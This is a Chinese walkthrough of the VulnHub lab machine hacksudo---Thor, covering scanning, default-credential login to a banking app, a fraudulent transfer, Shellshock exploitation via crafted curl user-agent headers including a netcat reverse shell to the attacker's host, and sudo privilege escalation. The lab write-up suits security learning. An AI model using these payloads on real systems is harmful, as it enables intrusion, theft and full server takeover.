打靶记录10——hacksudo---Thor

靶机:

python 复制代码
https://download.vulnhub.com/hacksudo/hacksudo---Thor.zip

难度:

  • 中

目标:

  • 取得root权限+flag

涉及攻击方法:

  • 主机发现
  • 端口扫描
  • Web目录爬取
  • 开源源码泄露
  • 默认账号密码
  • SQL注入
  • 破壳漏洞
  • GTFOBins提权

主机发现:

sudo arp-scan -l

端口扫描和服务发现

sudo nmap -p- 192.168.31.28

21端口是filtered状态,22、80端口是开放状态
sudo nmap -p22,80 -sV -sC 192.168.31.28

访问80端口的Web页面

Ctrl + U 查看源代码,发现一个/images路径

但是这些图片对我们没有啥帮助

在news页面发现一个注释<!-- cgi-bin ---!>,cgi是一种可以在Web服务器端使用外部应用程序来处理客户端提交的请求的一种开发技术

如果使用了cgi技术,那么在服务器下就会存在一个/cgi-bin/目录,访问目录发现403拒绝访问,但是不代表我访问具体文件的时候也拒绝,如果我知道具体文件名的话

目录扫描

sudo dirsearch -u http://192.168.31.28/,发现README.md

发现一个开源的项目,Web应用程序的源码托管在Github上面,可以进行白盒测试https://github.com/zakee94/online-banking-system/

发现默认的账号密码,但是在首页登录失败,似乎它修改了

发现/admin_login.php路径

访问发现是Administrator的登录界面,输入刚刚在Github上面发现的默认账号密码admin/password123成功登录

在Add Customer那里随便输入一点数据然后点击提交

出现SQL语句报错,这里存在SQL注入漏洞,但是无法通过它突破目标边界,拿到操作系统的Shell,所以就不演示攻击手段了

点击Manage Customers发现四个账号,可以查看账号的信息,其实这里也存在SQL注入漏洞,但是也是无法突破边界

继续在github查看源代码,在customer这个表里面存在uname和pwd字段

然后会默认插入一些字段

分析发现了四个默认插入表里的账号密码

python 复制代码
'zakee94','nafees123'
'salman','salman123'
'tushar','tushar123'
'jon','snow123'

和我们在Manage Customers里看到的一样

然后我们回到首页直接尝试登录zakee94账号

发现有转账记录,那我作为一个攻击者,也能进行转账的操作,我可以在这个银行自己创建一个账号,然后给我转账

尝试给Jon转账,转个2000000试试

点击Submit,出现Success成功转账,直接把钱给偷走了

学习记录:

作为一个安全从业人员,一个渗透测试工程师,通常都会去关注操作系统那些个可能被攻击者直接进入我操作系统,直接完全控制我操作系统的这些个技术类的漏洞类型很关注,但是往往很多人对这种业务逻辑层面的漏洞关注程度是不够的,而往往这种业务逻辑层面的漏洞会给企业带来直接的经济损失,所以大家在搞系统维护,安全建设相关工作的时候一定要注重技术性漏洞的同时,也要注重业务逻辑层面的漏洞。

破壳漏洞(Shellshock):

bash这种shell类型是有一个环境变量的概念的,而且每个人可以手动的定义这个环境变量,env命令查看环境变量

在我们编写bash的shell脚本的时候,我们通常还可以在shell脚本中去定义一些函数,将一些我们需要重复调用的指令的集合把它定义成一个固定的函数,接下来如果我们想重复执行这一系列的操作的时候,就可以执行这个函数
w() { echo "Hello $USER, today is date:"; date; }

sudo dirsearch -u http://192.168.31.28/cgi-bin/ -f -e cgi,sh

报500服务器错误响应码,说明服务器存在这个文件,但是由于我们没有提供正确的参数的变量和赋值,从而导致服务器不知道该怎么继续处理我们的请求。

那我们用nmap的脚本来进行扫描
sudo nmap -sV -p80 --script http-shellshock --script-args uri=/cgi-bin/shell.sh,cmd=ls 192.168.31.28

发现存在漏洞并且可以利用,还给出了CVE的编号,那再看看backup.cgi文件
sudo nmap -sV -p80 --script http-shellshock --script-args uri=/cgi-bin/backup.cgi,cmd=ls 192.168.31.28发现也存在漏洞

curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'which nc'" \http://192.168.31.28/cgi-bin/shell.sh通过这条命令确定这台服务器可以执行操作系统指令

反弹shell

curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'nc -e /bin/bash 192.168.31.26 4444'" \http://192.168.31.28/cgi-bin/shell.sh

按照惯例升级一下shell,python3 -c "import pty;pty.spawn('/bin/bash')"

提权:

sudo -l查看sudo的权限是否存在漏洞

发现(thor) NOPASSWD: /home/thor/./hammer.sh

那么我们切换到thor账号并执行这条指令sudo -u thor /home/thor/./hammer.sh,发现你一个输入的地方类似用户名,可以随便输入,第二个输入的地方会执行系统命令并显示,那我们直接输入bash来生成一个shell,成功获得thor的shell

然后sudo -l查看配置文件,发现(root) NOPASSWD: /usr/bin/cat, /usr/sbin/service

查看开源的GTFOBins网站的提权方法,发现可以sudo service ../../bin/sh来提权

输入sudo service ../../bin/sh成功提权


相关推荐
haerapi2 分钟前
把 PostgreSQL 复制巡检做成可审计闭环:确定性采集、阈值判定与受控模型归纳
数据库·postgresql
微学AI1 小时前
不让每一步都调用最贵模型:用蓝耘智能路由改造自主式研究 Agent
数据库·人工智能·蓝耘
yjb.gz1 小时前
Oracle19 RAC查看集群状态及磁盘空间情况(巡检)
数据库
钝挫力PROGRAMER1 小时前
开发踩坑记:MyBatis selectKey、空 SQL
数据库·sql·mybatis
JosieBook1 小时前
【数据库】MySQL 实战精通系列 · 第6篇:InnoDB 存储引擎、日志与崩溃恢复
数据库·mysql
泛联新安2 小时前
软件定义汽车时代,如何让AI研发“可信”?——泛联新安构建汽车企业级可信AI体系的落地路径
大数据·人工智能·安全·网络安全·汽车·漏洞挖掘·代码安全
杨云龙UP2 小时前
TDengine 3.4.2.8 Community 三节点三副本生产集群部署实战(DNode/MNode/taosAdapter/Explorer)
大数据·linux·运维·数据库·tdengine·时序库
梦帮科技3 小时前
领域认知知识库图谱注入:从双式记账图网络到高质量问答对自动化合成流水线
运维·网络·数据库·人工智能·矩阵·架构·自动化
Long long ago.3 小时前
vastbase数据库运行sql宕机重启解决
数据库·sql
SelectDB技术团队3 小时前
一条日志两套引擎的账:把 Elasticsearch 检索与分析合并到同一份数据的落地写法
大数据·数据库·elasticsearch·搜索引擎·全文检索·日志·apache doris